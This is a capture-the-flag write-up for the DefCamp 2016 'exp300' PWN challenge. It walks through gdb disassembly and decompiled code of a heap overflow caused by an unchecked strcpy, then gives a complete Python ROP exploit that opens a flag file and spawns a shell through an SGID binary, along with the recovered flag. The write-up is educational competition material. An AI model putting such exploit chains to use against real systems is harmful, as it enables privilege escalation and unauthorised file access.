CTF: DefCamp CTF Finals 2016
Binary: dctf-2016-exp300
Libc: libc
Points: 300
Category: PWN
Description
ssh user@server
get flag
TL;DR
The program reads string from argv[1] and saves it in two structures on the heap. There is a buffer overflow vulnerability, which we use to gain control over the program and use ROP to read the flag file.
The research
The provided binary is 64-bit elf, dynamically linked and stripped. Let’s look at the entery point:
1 2 3 4 5 6 7 8 9 10 11 12 |
(gdb) x/12i 0x400730 0x400730: xor %ebp,%ebp 0x400732: mov %rdx,%r9 0x400735: pop %rsi 0x400736: mov %rsp,%rdx 0x400739: and $0xfffffffffffffff0,%rsp 0x40073d: push %rax 0x40073e: push %rsp 0x40073f: mov $0x400a50,%r8 0x400746: mov $0x4009e0,%rcx 0x40074d: mov $0x400826,%rdi <- this is pointer to main 0x400754: callq 0x4006d0 |
And main function:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
(gdb) x/70i 0x400826 0x400826: push %rbp 0x400827: mov %rsp,%rbp 0x40082a: push %rbx 0x40082b: sub $0x28,%rsp 0x40082f: mov %edi,-0x24(%rbp) 0x400832: mov %rsi,-0x30(%rbp) 0x400836: mov $0x40000,%edi 0x40083b: callq 0x4006e0 <personality@plt> 0x400840: callq 0x400700 <fork@plt> 0x400845: test %eax,%eax 0x400847: setne %al 0x40084a: test %al,%al 0x40084c: je 0x400858 0x40084e: mov $0x0,%eax 0x400853: jmpq 0x40090b 0x400858: cmpl $0x1,-0x24(%rbp) 0x40085c: jg 0x400872 0x40085e: mov $0x400a7a,%edi 0x400863: callq 0x4006b0 <puts@plt> 0x400868: mov $0x1,%eax 0x40086d: jmpq 0x40090b 0x400872: mov $0x28,%edi 0x400877: callq 0x400710 <operator new(unsigned long)@plt> 0x40087c: mov %rax,%rbx 0x40087f: mov %rbx,%rdi 0x400882: callq 0x400912 0x400887: mov %rbx,-0x18(%rbp) 0x40088b: mov $0x28,%edi 0x400890: callq 0x400710 <operator new(unsigned long)@plt> 0x400895: mov %rax,%rbx 0x400898: mov %rbx,%rdi 0x40089b: callq 0x400912 0x4008a0: mov %rbx,-0x20(%rbp) 0x4008a4: mov -0x30(%rbp),%rax 0x4008a8: add $0x8,%rax 0x4008ac: mov (%rax),%rdx 0x4008af: mov -0x18(%rbp),%rax 0x4008b3: mov %rdx,%rsi 0x4008b6: mov %rax,%rdi 0x4008b9: callq 0x400980 0x4008be: mov -0x30(%rbp),%rax 0x4008c2: add $0x8,%rax 0x4008c6: mov (%rax),%rdx 0x4008c9: mov -0x20(%rbp),%rax 0x4008cd: mov %rdx,%rsi 0x4008d0: mov %rax,%rdi 0x4008d3: callq 0x400980 0x4008d8: mov -0x18(%rbp),%rax 0x4008dc: mov (%rax),%rax 0x4008df: add $0x10,%rax 0x4008e3: mov (%rax),%rax 0x4008e6: mov -0x18(%rbp),%rdx 0x4008ea: mov %rdx,%rdi 0x4008ed: callq *%rax 0x4008ef: mov -0x20(%rbp),%rax 0x4008f3: mov (%rax),%rax 0x4008f6: add $0x10,%rax 0x4008fa: mov (%rax),%rax 0x4008fd: mov -0x20(%rbp),%rdx 0x400901: mov %rdx,%rdi 0x400904: callq *%rax 0x400906: mov $0x0,%eax 0x40090b: add $0x28,%rsp 0x40090f: pop %rbx 0x400910: pop %rbp 0x400911: retq |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
signed __int64 __fastcall main(signed int a1, char **a2, char **a3) { signed __int64 result; // rax@2 __int64 v4; // rbx@5 __int64 v5; // ST18_8@5 __int64 v6; // rbx@5 personality(0x40000uLL); if ( fork() != 0 ) return 0LL; if ( a1 > 1 ) { v4 = operator new(0x28uLL); sub_400912(v4); v5 = v4; v6 = operator new(0x28uLL); sub_400912(v6); sub_400980(v5, a2[1]); sub_400980(v6, a2[1]); (*(void (__fastcall **)(__int64))(*(_QWORD *)v5 + 16LL))(v5); (*(void (__fastcall **)(__int64))(*(_QWORD *)v6 + 16LL))(v6); result = 0LL; } else { puts("Wrong usage!"); result = 1LL; } return result; } |
We have interesting fragment at the begining: call to http://man7.org/linux/man-pages/man2/personality.2.html, which, with the given argument, disables ASLR. Since ASLR was disabled on server this did nothing.
Side note: ASLR was turned on at the begining. We think the idea behind personality, fork was to turn ASLR off just on this binary, but that could not possibly work since fork copies (on-write) whole memory mappings. Maybe there was an exec call missing?:)
There are two functions calls to inspect. First gets as its only argument freshly allocated memory and just sets some pointer at the begining of it.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
(gdb) x/10i 0x400912 0x400912: push %rbp 0x400913: mov %rsp,%rbp 0x400916: mov %rdi,-0x8(%rbp) 0x40091a: mov $0x400a98,%edx 0x40091f: mov -0x8(%rbp),%rax 0x400923: mov %rdx,(%rax) 0x400926: nop 0x400927: pop %rbp 0x400928: retq 0x400929: nop (gdb) x/x 0x400a98 0x400a98: 0x0040092a |
1 2 3 4 5 6 7 8 |
_QWORD *__fastcall sub_400912(_QWORD *a1) { _QWORD *result; // rax@1 result = a1; *a1 = off_400A98; return result; } |
Second gets pointer to heap as its first argument and argv[1] as second. This function copies argv[1] into our memory at offset 8.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
(gdb) x/14i 0x400980 0x400980: push %rbp 0x400981: mov %rsp,%rbp 0x400984: sub $0x10,%rsp 0x400988: mov %rdi,-0x8(%rbp) 0x40098c: mov %rsi,-0x10(%rbp) 0x400990: mov -0x8(%rbp),%rax 0x400994: lea 0x8(%rax),%rdx 0x400998: mov -0x10(%rbp),%rax 0x40099c: mov %rax,%rsi 0x40099f: mov %rdx,%rdi 0x4009a2: callq 0x4006f0 <strcpy@plt> 0x4009a7: nop 0x4009a8: leaveq 0x4009a9: retq |
1 2 3 4 |
char *__fastcall sub_400980(__int64 a1, const char *a2) { return strcpy((char *)(a1 + 8), a2); } |
It uses strcpy without any validation of source length. Main functions calls new(0x28) two times and due to overflow we can overwrite second allocated buffer by providing long enough string to overflow first.
After calling those functions we have a call to a pointer located in the first 8 bytes of allocated memory (note that there is 0x10 added to that pointer first).
Since we have previously mentioned memory overflow, we can gain control over the execution.
The pwn
We had ssh credentials and the binary had SGID bit set on. Our goal was to read file with flag inside it (this file was owned by same group as binary).
Because /bin/sh was pointing to /bin/dash on the server we had to either run it with -p option (do not reset euid/egid) or open the flag file with shellcode.
We have chosen to open the file, spawn shell and read from file descriptor no. 3 (exec saves file descriptors).
The server had ASLR turned off, which allowed to use fixed addresses on stack and in libc.
The plan was to:
- Use overflown address to lift stack pointer.
- Use return oriented programing to open the flag file and spawn shell.
Here is dump of gadgets in servers libc:
rop gadgets
Exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
import binascii import os def p64(x): return binascii.a2b_hex(hex(x)[2:])[::-1] base_libc = 0x7ffff7a10000 xor_edx = 0x6ee60 xor_esi = 0xe995e pop_rdi = 0x1fd7a bin_sh = 0x189fc0 system_libc = 0x455aa open_libc = 0xf7a40 execve_libc = 0xccb90 stack_lift = 0x105977 flag_addr = 0x7fffffffefb8 addr_of_stack_lift_addr = flag_addr + 8 - 0x10 mes = [ "a"*0x28+p64(addr_of_stack_lift_addr), '', "a"*108 + p64(base_libc+xor_esi), '', p64(base_libc+pop_rdi), '', p64(flag_addr), '', p64(base_libc+open_libc), '', p64(base_libc+xor_edx), '', p64(base_libc+xor_esi), '', p64(base_libc+pop_rdi), '', p64(base_libc+bin_sh), '', p64(base_libc+execve_libc), '', "flag", '', "a"*2 + p64(base_libc+stack_lift), '', "a"*18, ] os.execve("./300.bin", ["300.bin"] + mes, {"LD_PRELOAD":"./libc_"}) |
Empty strings are used to get NULL byte on stack (stack and libc addresses have two NULL bytes as their most significant bytes).
This version works locally, we just had to change base_libc address and flag_addr (stack) on the server (LD_PRELOAD was ignored on the server since there was no libc_).
Run it:
1 |
echo "cat <&3" | python rop.py |
DCTF{a60354f3d3879d392df2e2da819d83e2}
Leave a Reply
You must be logged in to post a comment.